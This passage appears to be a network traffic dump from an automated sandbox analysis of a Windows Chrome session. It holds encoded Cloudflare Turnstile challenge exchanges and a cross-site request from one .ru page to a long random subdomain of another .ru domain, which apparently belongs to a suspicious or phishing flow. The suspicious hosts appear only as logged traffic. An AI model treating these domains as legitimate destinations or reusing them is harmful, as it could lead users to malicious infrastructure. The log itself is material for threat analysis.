53 46 6d 4a 6a 63 34 57 45 68 4d 57 32 52 43 52 47 74 70 Data Ascii: quKdIuiq5GVmIt4d3d7n3l7pJt9f6h+gYOsyYWHt6O/nsnM0Km0ptSQqKS1m7Kg2K3OxMO61qOm1dvYo8XHq8Pd5MbLwufI5dLw3P0AyQDX388Bzc/i29jI/PzjBuPtE9vz7M7pBtcM7A4VEgvrFAsSD97b/RMd4PMd+/b6GRAuIusIIvQ2OjgND/v2MgoMPjRFF0AcJx9FHxsjSSYfJ00pIytRN1MtTS1ZK1tHUTcYTSFmJjc4WEhMW2RCRGtp
2025-01-10 18:04:55 UTC	1369	IN	Data Raw: 6d 42 64 58 4b 64 69 59 61 4e 66 61 75 4b 6b 33 79 39 66 70 69 67 6f 73 43 48 6a 4c 71 57 72 39 43 5a 6d 35 47 63 72 4e 4f 54 78 72 44 4d 6d 72 4c 4b 33 70 32 70 72 37 76 54 76 65 48 62 72 39 69 2b 79 75 4b 70 31 61 44 4f 76 4d 72 62 37 4d 76 4f 76 2f 44 6a 78 74 6e 63 2b 73 58 76 33 66 6e 64 39 63 7a 53 39 76 76 65 34 38 48 35 44 66 6e 33 78 63 72 4d 43 63 72 50 37 42 45 4e 31 74 67 47 31 66 76 59 47 41 66 65 39 68 2f 64 4a 50 67 54 2b 75 51 57 4a 50 54 6b 34 67 4c 35 37 65 49 63 2b 2b 37 71 4a 77 62 70 4a 66 66 77 39 75 34 37 4d 76 59 57 50 7a 7a 2b 42 52 6b 61 53 44 55 71 46 55 31 49 54 30 56 52 45 41 67 4f 44 68 55 74 4a 31 6b 76 52 79 70 63 57 68 30 70 46 6c 73 67 4d 68 74 69 4d 55 46 70 50 32 63 70 49 69 30 35 58 7a 68 49 52 53 39 31 4b 30 31 69 64 Data Ascii: mBdXKdiYaNfauKk3y9fpigosCHjLqWr9CZm5GcrNOTxrDMmrLK3p2pr7vTveHbr9i+yuKp1aDOvMrb7MvOv/Djxtnc+sXv3fnd9czS9vve48H5Dfn3xcrMCcrP7BEN1tgG1fvYGAfe9h/dJPgT+uQWJPTk4gL57eIc++7qJwbpJffw9u47MvYWPzz+BRkaSDUqFU1IT0VREAgODhUtJ1kvRypcWh0pFlsgMhtiMUFpP2cpIi05XzhIRS91K01id
2025-01-10 18:04:55 UTC	1369	IN	Data Raw: 56 6d 36 78 2b 6d 4c 6d 45 76 70 79 57 6d 6f 71 35 68 62 7a 44 75 4d 43 38 7a 38 47 4e 74 73 69 7a 7a 4d 7a 59 79 5a 53 75 30 73 69 2b 33 39 6e 50 76 74 4f 6b 75 63 53 79 74 63 4c 64 79 71 72 43 38 4c 47 39 79 38 2b 73 73 73 79 79 36 37 50 6f 2f 50 4f 31 33 2f 57 36 7a 65 76 53 38 41 50 59 77 62 76 56 37 41 48 6d 36 50 66 76 32 39 33 76 43 66 59 53 41 65 49 4e 34 76 48 6f 38 74 59 4d 2b 77 7a 63 2b 69 55 55 35 50 6b 49 36 43 4d 42 2b 76 37 75 48 75 6b 68 4b 42 30 6c 49 54 51 6d 38 52 73 74 47 44 45 78 50 53 37 34 45 7a 63 74 49 30 51 2b 4e 43 51 30 42 53 51 5a 49 6b 51 6f 4c 53 63 4c 4c 41 77 71 46 79 6c 61 45 69 4d 75 4a 7a 73 56 4d 6c 49 37 55 31 46 46 4f 31 31 4a 49 69 56 67 56 53 68 44 59 31 45 2b 51 32 70 65 52 55 74 52 57 57 30 79 64 55 35 59 50 6b Data Ascii: Vm6x+mLmEvpyWmoq5hbzDuMC8z8GNtsizzMzYyZSu0si+39nPvtOkucSytcLdyqrC8LG9y8+sssyy67Po/PO13/W6zevS8APYwbvV7AHm6Pfv293vCfYSAeIN4vHo8tYM+wzc+iUU5PkI6CMB+v7uHukhKB0lITQm8RstGDExPS74EzctI0Q+NCQ0BSQZIkQoLScLLAwqFylaEiMuJzsVMlI7U1FFO11JIiVgVShDY1E+Q2peRUtRWW0ydU5YPk
2025-01-10 18:04:55 UTC	1369	IN	Data Raw: 6a 70 32 6b 6e 70 57 68 6d 4a 58 42 70 35 75 51 6a 61 71 67 6e 5a 4b 76 79 5a 57 6a 73 37 61 36 70 72 57 72 30 35 69 36 35 61 57 75 76 38 50 6f 73 72 7a 49 77 72 62 47 34 61 32 37 79 2f 57 31 77 4d 37 45 78 65 33 54 2f 62 53 39 31 67 4c 76 77 64 71 37 30 74 44 65 2b 4f 62 56 34 76 37 65 31 2b 62 72 42 4e 48 70 34 4f 72 65 36 50 54 74 31 76 50 54 36 75 6a 33 2f 50 58 69 2b 2f 44 74 47 67 41 62 2f 65 6b 43 39 2b 6e 34 43 41 77 6c 2b 77 77 50 45 77 45 51 4b 76 44 35 45 79 37 38 2f 68 63 79 2f 51 73 56 49 52 59 47 49 42 51 4b 46 43 4e 4f 54 41 73 6f 48 41 31 47 4c 45 59 57 49 44 41 31 4b 68 6f 30 58 6c 45 6f 4e 7a 73 2b 49 7a 78 41 56 43 63 2f 4e 43 59 7a 51 6a 6b 36 4b 6b 46 4e 52 69 56 4c 51 43 35 43 55 47 74 4b 4f 31 4e 58 57 6a 39 59 63 30 39 4f 58 49 5a Data Ascii: jp2knpWhmJXBp5uQjaqgnZKvyZWjs7a6prWr05i65aWuv8PosrzIwrbG4a27y/W1wM7Exe3T/bS91gLvwdq70tDe+ObV4v7e1+brBNHp4Ore6PTt1vPT6uj3/PXi+/DtGgAb/ekC9+n4CAwl+wwPEwEQKvD5Ey78/hcy/QsVIRYGIBQKFCNOTAsoHA1GLEYWIDA1Kho0XlEoNzs+IzxAVCc/NCYzQjk6KkFNRiVLQC5CUGtKO1NXWj9Yc09OXIZ
2025-01-10 18:04:55 UTC	1369	IN	Data Raw: 4b 58 45 6f 4b 79 4a 75 71 36 4d 72 63 79 6f 74 4d 4f 52 74 73 79 36 72 62 53 77 73 64 6d 38 35 4d 4b 78 75 62 58 56 74 4c 33 49 31 2b 48 48 76 4d 48 6f 30 4b 2f 46 37 64 44 34 31 73 58 54 2f 4f 76 78 33 39 76 62 7a 64 58 67 37 2f 6e 68 34 73 6e 67 36 4d 50 49 44 4f 6e 64 2f 4f 50 6d 79 77 51 4e 36 50 51 45 30 66 54 6d 2b 75 72 30 37 50 30 57 2f 41 44 2b 2b 50 67 46 49 4f 45 61 4c 53 45 43 41 51 30 53 4b 51 55 52 4d 4f 30 53 41 78 63 4c 45 51 6b 77 4d 68 6f 63 47 78 6b 56 49 51 48 39 4e 6b 6b 39 47 52 30 72 47 6b 55 37 48 69 4d 37 4c 44 49 75 44 6b 5a 5a 54 54 45 74 4f 69 39 48 4f 44 34 36 57 54 56 43 4e 30 39 41 4e 6b 49 69 57 6d 31 68 51 45 46 4f 51 31 74 4d 51 6b 35 74 53 56 5a 4c 59 31 51 31 56 6a 5a 75 67 58 56 54 56 57 4a 58 62 32 42 42 59 6f 46 64 Data Ascii: KXEoKyJuq6MrcyotMORtsy6rbSwsdm85MKxubXVtL3I1+HHvMHo0K/F7dD41sXT/Ovx39vbzdXg7/nh4sng6MPIDOnd/OPmywQN6PQE0fTm+ur07P0W/AD++PgFIOEaLSECAQ0SKQURMO0SAxcLEQkwMhocGxkVIQH9Nkk9GR0rGkU7HiM7LDIuDkZZTTEtOi9HOD46WTVCN09ANkIiWm1hQEFOQ1tMQk5tSVZLY1Q1VjZugXVTVWJXb2BBYoFd

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.16	49743	104.18.94.41	443	5232	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 18:04:56 UTC	599	OUT	GET /cdn-cgi/challenge-platform/h/b/flow/ov1/1120917298:1736529426:TPD1bQ9AIEZMjnE_a_w72TH4JrPyWqpr_ya02KG-AqU/8ffe977e4cfef78d/h0yoRtoHt5sb3AAlO3AHxLxC7AKofDDqL5Ai9T4BfYY-1736532290-1.1.1.1-E4eDpNQMeb6Q5SyYa3Z6Ie8h7weFT7Fmw0VQ17C2HrXK4txa2isGp_DWXg67b7hp HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-10 18:04:56 UTC	375	IN	HTTP/1.1 404 Not Found Date: Fri, 10 Jan 2025 18:04:56 GMT Content-Type: application/json Content-Length: 7 Connection: close cf-chl-out: hc/j6CDcfhpCS5g5s5+KBw==$t8c8j5vVvNMYpe8kl44J4g== cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Server: cloudflare CF-RAY: 8ffe97a40dff186d-EWR alt-svc: h3=":443"; ma=86400
2025-01-10 18:04:56 UTC	7	IN	Data Raw: 69 6e 76 61 6c 69 64 Data Ascii: invalid

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.16	49744	104.18.94.41	443	5232	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 18:05:02 UTC	1172	OUT	POST /cdn-cgi/challenge-platform/h/b/flow/ov1/1120917298:1736529426:TPD1bQ9AIEZMjnE_a_w72TH4JrPyWqpr_ya02KG-AqU/8ffe977e4cfef78d/h0yoRtoHt5sb3AAlO3AHxLxC7AKofDDqL5Ai9T4BfYY-1736532290-1.1.1.1-E4eDpNQMeb6Q5SyYa3Z6Ie8h7weFT7Fmw0VQ17C2HrXK4txa2isGp_DWXg67b7hp HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Content-Length: 34590 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Content-type: application/x-www-form-urlencoded CF-Chl-RetryAttempt: 0 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 CF-Challenge: h0yoRtoHt5sb3AAlO3AHxLxC7AKofDDqL5Ai9T4BfYY-1736532290-1.1.1.1-E4eDpNQMeb6Q5SyYa3Z6Ie8h7weFT7Fmw0VQ17C2HrXK4txa2isGp_DWXg67b7hp sec-ch-ua-platform: "Windows" Accept: / Origin: https://challenges.cloudflare.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/ojacm/0x4AAAAAAA0rfpQOBx227C7S/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-10 18:05:02 UTC	16384	OUT	Data Raw: 76 5f 38 66 66 65 39 37 37 65 34 63 66 65 66 37 38 64 3d 62 6b 52 44 67 25 32 62 2d 47 35 74 6b 59 6b 59 54 6b 2d 50 2d 74 75 42 6e 50 59 47 2d 30 59 6d 44 6c 6b 59 51 59 62 44 39 49 50 2b 6c 59 65 51 4a 42 2d 73 31 6e 2b 59 76 35 42 73 43 47 44 59 54 52 59 41 44 56 51 59 6b 44 2b 47 59 69 51 42 43 2d 6f 59 65 70 33 6a 52 42 44 2d 47 59 56 4a 4c 43 4e 39 4d 47 42 6e 74 59 54 64 52 77 42 43 59 71 44 59 74 32 59 41 70 2d 41 59 56 52 2d 4e 65 4e 59 6e 74 32 59 6e 52 2d 69 59 56 46 30 54 54 50 56 74 35 59 66 54 42 75 4a 4a 48 59 56 62 4a 59 59 53 39 65 24 78 48 4c 69 50 59 34 6d 53 38 4c 6f 67 50 30 52 4e 4e 65 54 77 70 30 75 75 70 59 66 62 68 42 69 41 6d 2d 50 75 6b 59 50 62 52 24 42 68 47 61 69 54 70 4c 6d 65 38 75 48 73 65 44 50 54 46 38 53 31 6a 30 53 76 Data Ascii: v_8ffe977e4cfef78d=bkRDg%2b-G5tkYkYTk-P-tuBnPYG-0YmDlkYQYbD9IP+lYeQJB-s1n+Yv5BsCGDYTRYADVQYkD+GYiQBC-oYep3jRBD-GYVJLCN9MGBntYTdRwBCYqDYt2YAp-AYVR-NeNYnt2YnR-iYVF0TTPVt5YfTBuJJHYVbJYYS9e$xHLiPY4mS8LogP0RNNeTwp0uupYfbhBiAm-PukYPbR$BhGaiTpLme8uHseDPTF8S1j0Sv
2025-01-10 18:05:02 UTC	16384	OUT	Data Raw: 38 42 59 37 44 4c 59 52 44 2d 42 6e 38 59 51 59 56 6d 71 43 2b 42 39 75 2b 57 5a 63 59 2d 59 66 48 52 4d 59 39 43 56 35 2d 6c 59 76 44 2d 71 44 33 59 6d 42 2d 31 59 71 50 39 42 56 75 2d 48 43 50 59 66 54 59 78 59 42 43 66 74 2d 4e 43 46 43 56 51 59 58 59 65 59 6e 47 59 42 59 61 59 2d 77 59 71 44 6e 54 39 74 7a 42 44 75 59 2b 65 2d 52 59 6d 6b 56 77 59 74 59 73 66 2d 6f 50 4d 6b 70 37 24 52 2b 74 59 69 44 66 65 59 35 59 6d 43 59 50 2d 66 59 4b 44 41 59 59 6d 59 31 59 66 31 41 50 4b 50 43 39 58 2d 75 59 41 57 54 77 5a 38 59 44 42 65 65 5a 71 59 46 43 59 43 2d 4d 31 6e 78 56 4b 5a 6d 59 4a 2b 4a 57 43 74 65 42 61 43 50 47 61 54 6f 2b 4a 41 78 24 32 2b 58 4f 57 34 64 32 61 58 36 30 7a 4a 48 41 58 33 32 68 68 32 46 31 58 64 42 41 32 65 61 33 55 78 52 44 50 73 Data Ascii: 8BY7DLYRD-Bn8YQYVmqC+B9u+WZcY-YfHRMY9CV5-lYvD-qD3YmB-1YqP9BVu-HCPYfTYxYBCft-NCFCVQYXYeYnGYBYaY-wYqDnT9tzBDuY+e-RYmkVwYtYsf-oPMkp7$R+tYiDfeY5YmCYP-fYKDAYYmY1Yf1APKPC9X-uYAWTwZ8YDBeeZqYFCYC-M1nxVKZmYJ+JWCteBaCPGaTo+JAx$2+XOW4d2aX60zJHAX32hh2F1XdBA2ea3UxRDPs
2025-01-10 18:05:02 UTC	1822	OUT	Data Raw: 6a 6d 75 44 76 59 2b 35 59 76 44 71 70 6b 6d 76 50 75 63 43 66 56 63 76 44 32 44 39 4e 6e 6b 51 57 64 41 64 2d 75 59 4e 61 4e 64 68 35 44 6f 30 4a 55 2b 37 53 4d 39 47 75 76 77 59 6a 58 64 6f 4f 4d 35 2b 74 4f 72 58 4b 46 72 63 43 34 48 24 31 72 77 65 6d 71 5a 34 24 47 39 75 59 57 43 2d 59 66 61 30 62 67 33 64 50 43 48 44 31 7a 44 39 6b 77 62 31 77 32 70 62 6d 61 4b 66 6b 39 59 51 76 71 78 43 2b 35 2d 53 54 37 59 2d 64 59 30 42 52 59 49 64 59 77 68 37 4a 70 24 42 75 44 74 7a 59 78 59 4d 44 32 54 37 78 77 34 55 6b 42 50 31 61 75 42 52 48 56 47 2d 63 42 32 24 2b 72 58 4e 7a 74 7a 2b 41 66 73 71 72 52 42 63 2d 71 59 69 42 39 43 2d 59 43 67 32 34 70 2d 71 59 73 61 62 35 63 63 6a 63 6c 2d 49 77 31 75 33 50 78 50 2d 37 76 51 7a 50 6c 59 4c 4d 36 32 74 75 76 42 Data Ascii: jmuDvY+5YvDqpkmvPucCfVcvD2D9NnkQWdAd-uYNaNdh5Do0JU+7SM9GuvwYjXdoOM5+tOrXKFrcC4H$1rwemqZ4$G9uYWC-Yfa0bg3dPCHD1zD9kwb1w2pbmaKfk9YQvqxC+5-ST7Y-dY0BRYIdYwh7Jp$BuDtzYxYMD2T7xw4UkBP1auBRHVG-cB2$+rXNztz+AfsqrRBc-qYiB9C-YCg24p-qYsab5ccjcl-Iw1u3PxP-7vQzPlYLM62tuvB
2025-01-10 18:05:03 UTC	1347	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 18:05:03 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4624 Connection: close cf-chl-out-s: ulkWa65geC1PUAw1LLL8gddF+wYMUmbFGf5OPs/QWVZvlyLbdead+cliH5oBRvoivXj3w8jaF8TbJSFJK7BCwzUtzbNsuk9xtK3skDkJ/zpKjCLM3FkeshrVM0mBN6gkHBlBHwFSMMB42cgztrxRQQNWanLiKrVg9TQpKoXHklnInOeFhcKP+i/JrYwuQDcePHSgzjBU/lks6lVPKMTMv9M8tolqqJOfO+IhQEpr7l6ihAc9Vwr9X/mhHKFWUpTP1sifgJ04p3Tzh7OeaiGea5/fofdd2agWeJmx68HGZFgcbYnDKdNfuqUM9MwOcO94xT1PSziUR1h7sIbiaIEthby5RRtM0hgquwuOqUxBZGXPNIJfT2SWkXmEzJdaCCTncnW6oFa/RBl6DZroNFMwb2eqCAKFMsWhx4Lt0YLDCV7epGJz+waBzQiffc3VLKjuHBbriiCeQlQHl1pYqxxP4u1DOhKW3/Pxidt9gE+ANgOHVT0qi7EvSaTICCeBKO4gkx6weuZ649vetgXpq2zj9Oe/8WLeaM/ZDniF1yU/mfJnF2ppRrbRfwLUBMcJBav9gOtaXUXbWcXXFii03/YM3RsRkR1Mhi21A4hFFhVggoj4gNbAehCrSCjMJ7FQkk8uDWxeMIx1+hpcE9/Ae3o89WkMUSVLYtRIdu15j6dfCo9xoMSo68rnl0ZFH1AkhDzHeE6nobFaKeS0Lz0dGlR+Myw54kXwGvGw5dW4uLMBCTb5p0lsseYlJPVMd5SowTmwQ+uyq67JzXUL21jot1rXAZJ76OZElZ/x94apSjEJjAuZvhPIH1DpZf63SAnV2/kmX/p0hIKXEl+rOLAxhtRH9W8nXlvQR6Lv/LHy8r2z0ClmeEhKodpOLOqjdTPl53iCnLU0l3k2oUjWANy6oU1JDL+9ocK/fAfS063Mqu1QBcoEbKh8RuMpxTqqV62cXjsehZDda8LvgjD3JVYUTZpZzsi1m1IL4R5Ae/fjHr3P+wA=$1D0vj [TRUNCATED] cf-chl-out: JTjSv4ikHm4B1HShswc2lEeNyL2rqaSuxuiHJS0UcTOO/dVb0RHX6LEZ13P9ZB5ZQFzRb+e+dj/uwVw8TzsypUAYKgVv4wtFMfsoQ7Jc4GM=$0Z/Tcus0zX22AwMJkF9syg== Server: cloudflare
2025-01-10 18:05:03 UTC	62	IN	Data Raw: 43 46 2d 52 41 59 3a 20 38 66 66 65 39 37 63 64 39 63 63 38 63 33 65 65 2d 45 57 52 0d 0a 61 6c 74 2d 73 76 63 3a 20 68 33 3d 22 3a 34 34 33 22 3b 20 6d 61 3d 38 36 34 30 30 0d 0a 0d 0a Data Ascii: CF-RAY: 8ffe97cd9cc8c3ee-EWRalt-svc: h3=":443"; ma=86400
2025-01-10 18:05:03 UTC	1329	IN	Data Raw: 62 47 56 75 53 59 42 39 61 47 4f 49 56 57 68 74 6b 70 70 30 57 6e 79 66 67 61 4a 73 66 48 31 6d 61 46 74 6a 6d 4a 79 6a 67 6d 64 73 72 47 69 77 74 59 78 6f 70 4c 46 34 6c 34 61 71 6b 4b 61 5a 73 58 2b 71 6e 62 53 6c 70 49 43 33 77 5a 69 32 69 6f 79 6e 6d 72 36 4e 6a 36 50 46 74 5a 4f 72 7a 63 48 4b 73 4a 71 63 79 61 72 4c 32 4a 75 78 31 4e 76 6d 74 71 61 70 74 37 62 58 31 63 43 39 35 63 50 49 7a 65 58 4c 72 4d 2f 51 74 4d 6a 72 37 63 36 33 76 2f 44 52 33 4e 66 7a 2f 41 66 79 78 73 6e 66 31 76 72 66 33 4e 30 48 43 63 73 47 42 75 66 6f 43 41 76 70 31 2b 2f 61 33 65 2f 71 44 42 67 62 2b 42 2f 33 42 68 4d 54 41 2f 62 38 48 78 34 4a 2f 52 72 72 41 7a 54 75 43 52 49 35 47 43 73 4a 4d 79 55 78 43 7a 63 56 48 44 64 45 44 67 41 37 4f 51 45 34 4e 52 73 58 4b 45 38 Data Ascii: bGVuSYB9aGOIVWhtkpp0WnyfgaJsfH1maFtjmJyjgmdsrGiwtYxopLF4l4aqkKaZsX+qnbSlpIC3wZi2ioynmr6Nj6PFtZOrzcHKsJqcyarL2Jux1Nvmtqapt7bX1cC95cPIzeXLrM/QtMjr7c63v/DR3Nfz/Afyxsnf1vrf3N0HCcsGBufoCAvp1+/a3e/qDBgb+B/3BhMTA/b8Hx4J/RrrAzTuCRI5GCsJMyUxCzcVHDdEDgA7OQE4NRsXKE8
2025-01-10 18:05:03 UTC	1369	IN	Data Raw: 44 68 33 53 55 52 53 50 55 67 2b 62 31 6c 57 51 6b 31 57 55 6f 5a 32 69 31 65 4b 65 48 5a 42 52 34 31 2f 58 31 42 54 56 47 4e 67 62 57 57 62 6d 34 65 48 6b 46 61 62 6e 36 4f 67 65 32 52 31 5a 32 6d 66 65 61 6d 71 65 57 75 76 69 49 6c 39 73 62 4a 73 72 6e 57 6d 71 34 2b 38 6b 58 69 4c 64 72 32 4b 6a 4d 54 43 6e 61 57 43 69 4c 76 48 68 71 54 4c 75 63 33 4c 69 4e 4f 4b 6e 61 6e 42 32 61 2b 55 78 35 69 30 6c 4e 2b 61 71 62 58 50 6f 4e 48 50 32 2b 57 6f 31 39 61 6e 77 61 6a 5a 71 64 33 4a 78 37 4c 4c 73 4e 4c 34 38 37 54 48 75 66 76 4a 30 62 75 7a 33 64 51 47 75 38 54 30 78 41 54 6c 39 4c 37 6a 35 4d 73 50 2f 74 33 50 30 38 76 51 33 39 54 58 45 50 49 64 38 43 44 76 33 42 2f 74 48 69 59 55 38 51 41 71 2f 53 50 71 4c 42 6e 6b 4a 53 38 49 41 2f 34 78 44 53 77 6c Data Ascii: Dh3SURSPUg+b1lWQk1WUoZ2i1eKeHZBR41/X1BTVGNgbWWbm4eHkFabn6Oge2R1Z2mfeamqeWuviIl9sbJsrnWmq4+8kXiLdr2KjMTCnaWCiLvHhqTLuc3LiNOKnanB2a+Ux5i0lN+aqbXPoNHP2+Wo19anwajZqd3Jx7LLsNL487THufvJ0buz3dQGu8T0xATl9L7j5MsP/t3P08vQ39TXEPId8CDv3B/tHiYU8QAq/SPqLBnkJS8IA/4xDSwl
2025-01-10 18:05:03 UTC	1369	IN	Data Raw: 39 61 61 6c 31 55 56 33 74 78 52 58 35 4a 51 59 74 65 5a 32 70 6e 61 47 75 41 66 32 5a 66 54 5a 4e 72 5a 46 46 72 62 34 68 73 65 46 5a 72 62 59 36 51 59 36 61 59 6b 36 6c 6b 6e 4a 2b 68 72 57 57 5a 66 35 31 7a 66 32 32 6e 67 6f 43 34 69 6f 6d 46 68 34 71 4d 69 34 70 35 6c 35 47 6d 77 61 53 70 77 4c 62 47 72 48 2f 49 72 4d 36 35 76 35 2f 51 77 6f 79 73 32 4e 65 6b 6c 39 6e 57 6c 4b 72 66 74 62 58 61 72 4f 43 67 78 35 37 56 35 74 32 71 6e 2b 50 50 37 74 37 46 36 76 50 68 35 38 69 32 75 4f 76 54 75 71 38 41 2f 51 48 2b 76 41 44 43 38 67 54 78 43 50 58 7a 77 63 49 48 42 4f 6b 4e 2b 68 51 4e 30 75 76 6c 41 63 72 4c 32 50 6e 61 43 66 45 54 31 39 2f 63 4a 43 45 53 35 50 50 6c 41 65 41 62 34 79 67 4b 47 54 41 65 44 67 59 79 49 7a 55 44 38 69 55 77 4d 7a 6b 71 48 Data Ascii: 9aal1UV3txRX5JQYteZ2pnaGuAf2ZfTZNrZFFrb4hseFZrbY6QY6aYk6lknJ+hrWWZf51zf22ngoC4iomFh4qMi4p5l5GmwaSpwLbGrH/IrM65v5/Qwoys2Nekl9nWlKrftbXarOCgx57V5t2qn+PP7t7F6vPh58i2uOvTuq8A/QH+vADC8gTxCPXzwcIHBOkN+hQN0uvlAcrL2PnaCfET19/cJCES5PPlAeAb4ygKGTAeDgYyIzUD8iUwMzkqH
2025-01-10 18:05:03 UTC	557	IN	Data Raw: 51 65 55 46 64 61 59 61 4c 68 57 6c 77 52 34 36 48 6c 4a 4b 41 66 34 78 54 54 32 52 61 57 56 4f 66 64 46 39 68 62 47 4f 68 5a 61 64 6e 59 31 74 6b 61 56 35 73 66 59 65 77 72 61 65 67 61 6e 4b 52 74 37 69 6a 72 37 47 35 74 35 57 4e 63 70 52 34 6a 63 47 62 76 37 46 2b 74 4d 65 70 68 4d 66 4c 76 59 71 51 6f 62 54 56 77 63 65 6d 6b 38 61 51 75 35 50 5a 73 63 72 63 74 75 4f 65 34 5a 66 66 31 71 48 42 77 63 57 6e 31 63 6e 6d 72 65 72 6e 37 2b 75 72 73 4c 4b 79 38 75 76 6d 2b 76 62 76 76 62 79 7a 30 73 77 46 32 76 76 32 77 74 2f 63 2f 51 37 33 45 4e 34 52 44 74 77 4a 30 74 4d 4c 30 74 59 44 30 42 59 61 38 39 67 67 48 2f 6a 34 33 69 48 34 48 43 59 6c 46 50 55 70 4b 67 49 43 39 2b 34 46 4e 43 34 78 43 66 51 7a 4e 6a 50 77 50 44 73 6e 4d 44 34 2b 4c 76 54 35 51 78 Data Ascii: QeUFdaYaLhWlwR46HlJKAf4xTT2RaWVOfdF9hbGOhZadnY1tkaV5sfYewraeganKRt7ijr7G5t5WNcpR4jcGbv7F+tMephMfLvYqQobTVwcemk8aQu5PZscrctuOe4Zff1qHBwcWn1cnmrern7+ursLKy8uvm+vbvvbyz0swF2vv2wt/c/Q73EN4RDtwJ0tML0tYD0BYa89ggH/j43iH4HCYlFPUpKgIC9+4FNC4xCfQzNjPwPDsnMD4+LvT5Qx

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.16	49745	104.18.94.41	443	5232	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 18:05:03 UTC	599	OUT	GET /cdn-cgi/challenge-platform/h/b/flow/ov1/1120917298:1736529426:TPD1bQ9AIEZMjnE_a_w72TH4JrPyWqpr_ya02KG-AqU/8ffe977e4cfef78d/h0yoRtoHt5sb3AAlO3AHxLxC7AKofDDqL5Ai9T4BfYY-1736532290-1.1.1.1-E4eDpNQMeb6Q5SyYa3Z6Ie8h7weFT7Fmw0VQ17C2HrXK4txa2isGp_DWXg67b7hp HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-10 18:05:03 UTC	375	IN	HTTP/1.1 404 Not Found Date: Fri, 10 Jan 2025 18:05:03 GMT Content-Type: application/json Content-Length: 7 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 cf-chl-out: fngcMmoORB1WJ+pmn1Yp7g==$eTBADoMZ/3GCpCciPBSsLQ== Server: cloudflare CF-RAY: 8ffe97d2596a41df-EWR alt-svc: h3=":443"; ma=86400
2025-01-10 18:05:03 UTC	7	IN	Data Raw: 69 6e 76 61 6c 69 64 Data Ascii: invalid

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.16	49747	172.67.155.45	443	5232	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 18:05:04 UTC	672	OUT	GET /awoinxoxnrisqscbygoqtwyKxBtFBoFUOVATIQEHXEJGGLFDBDTSZMLHBXDYBMEVJMDXT HTTP/1.1 Host: qxe5brporq8ywqvx5ehzo1mroopbemcjxuzitlhd8skvipppqjbcvem.concivergo.ru Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://pllu.gnoqwwhpwe.ru Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://pllu.gnoqwwhpwe.ru/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-10 18:05:04 UTC	897	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 18:05:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=jh3Ta1G3sfQ8jkFndo1hQSTeh%2BO%2BphSEP9m5MkVmlMF6Pa8pl9ywnFIa1RMklGXCpchsWnb720QtvdSVi1Fb4NH%2FiPOoh0jXjytLvKX7mcdDwCSfgw0EIzhCFXi09d5Tfx3vXwQtmYsZ%2B6ZRNScG4Voullxq79oYvJ7M4pL9wa4lzW18GWK4P%2FHFWxdf0IxETaASwfGTsyg%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ffe97d668b2430d-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=6473&min_rtt=1979&rtt_var=3607&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2830&recv_bytes=1250&delivery_rate=1475492&cwnd=230&unsent_bytes=0&cid=65314dfdee569af9&ts=612&x=0"
2025-01-10 18:05:04 UTC	6	IN	Data Raw: 31 0d 0a 31 0d 0a Data Ascii: 11
2025-01-10 18:05:04 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

